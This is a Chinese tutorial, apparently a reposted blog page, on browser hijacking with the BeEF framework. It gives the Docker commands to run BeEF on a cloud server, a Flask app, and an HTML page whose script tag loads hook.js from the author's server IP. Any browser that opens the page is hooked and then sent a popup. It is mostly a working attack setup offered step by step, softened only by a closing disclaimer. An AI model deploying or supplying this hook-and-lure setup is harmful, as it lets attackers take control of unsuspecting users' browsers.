当前位置: 首页 > article >正文

beef-xss浏览器劫持

beef-xss浏览器劫持

      • 一,实验拓扑图
      • 二,租用一台阿里云,搭建docker环境和beef环境
        • 1.租一台阿里云服务器,系统选用ubuntu,计时收费的那种,一个小时几毛钱
        • 2.开启策略组3000端口,5000端口
        • 4.安装docker
        • 5.拉取beef镜像,并且运行容器
        • 6.运行beef容器:
      • 三,使用python启动一个http web服务
        • 1.beef.py 和templates 文件夹在同一级,beef.html在templates 文件夹下
        • 2.安装 flask库并运行 beef.py:
        • 3.本地打开浏览器访问页面 http://8.218.50.45:5000/beef,
        • 4.观察beef控制台
      • 四,对上线的受害主机浏览器进行劫持
        • 1.执行创建对话框
        • 2.本地浏览器出现弹窗![在这里插入图片描述](https://img-blog.csdnimg.cn/8a9285c2b46d46df83ab7ff52364f1f5.png)
      • 五,免责声明

一,实验拓扑图

请添加图片描述

二,租用一台阿里云,搭建docker环境和beef环境

1.租一台阿里云服务器,系统选用ubuntu,计时收费的那种,一个小时几毛钱

2.开启策略组3000端口,5000端口

在这里插入图片描述

4.安装docker

apt install docker.io

5.拉取beef镜像,并且运行容器

docker pull janes/beef

6.运行beef容器:

docker run -dp 3000:3000 janes/beef
打开浏览器 输入网址: http://8.218.50.45:3000/ui/panel 进入 beef控制台,用户名和密码都是 beef

三,使用python启动一个http web服务

1.beef.py 和templates 文件夹在同一级,beef.html在templates 文件夹下

在这里插入图片描述

在这里插入图片描述

beef.py

import os
from flask import Flask, request, render_template, redirect

app = Flask(__name__)

@app.route('/beef', methods=['POST', 'GET'])
def do_beef():

    return render_template('beef.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

beef.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <script src="http://8.218.50.45:3000/hook.js"></script>
    <title>test</title>
  </head>
  <body>
    please wait ...
  </body>
</html>
其中<script src="http://8.218.50.45:3000/hook.js"></script> 是指向我们刚才搭建的beef平台

传到我们刚才租的那台阿里云服务器上如下:
在这里插入图片描述

2.安装 flask库并运行 beef.py:

pip3 install flask
python3 beef.py

在这里插入图片描述

3.本地打开浏览器访问页面 http://8.218.50.45:5000/beef,

在这里插入图片描述

4.观察beef控制台

在这里插入图片描述

四,对上线的受害主机浏览器进行劫持

1.执行创建对话框

在这里插入图片描述

2.本地浏览器出现弹窗在这里插入图片描述

五,免责声明

本教程只能用于技术学习,不得使用本教程从事任何违法犯罪行为。

http://www.kler.cn/a/13366.html

相关文章:

  • tomcat作业
  • Ceph入门到精通-Ceph 服务管理之OSD服务
  • 带有时钟使能和同步清零的D触发器
  • 基于Java+SpringBoot+Vue前后端分离仓库管理系统设计实现
  • leetcode-数据库题
  • C语言实现栈--数据结构
  • GitHub新手用法详解【适合新手入门-建议收藏!!!】
  • 如何为Google Play的应用制作宣传视频
  • 安卓SDK和安卓版本的对应关系
  • 《安富莱嵌入式周报》第310期:集成大语言模型的开源调试器ChatDBG, 多功能开源计算器,M7内核航空航天芯片评估板, Zigbee PRO规范
  • mmsegmentation 训练自己的数据集
  • 2023年3月 青少年软件编程(C 语言) 等级考试试卷(一级)
  • Cache;高速缓冲存储器
  • CMD命令学习整理
  • 综合能源系统中基于电转气和碳捕集系统的热电联产建模与优化研究(Matlab代码实现)
  • Redis缓存数据库双写不一致问题
  • 求积分的常见方法
  • substrate实例-基于OCW发送一个签名交易
  • 怎么恢复移动硬盘数据
  • 家政服务APP小程序开发功能详解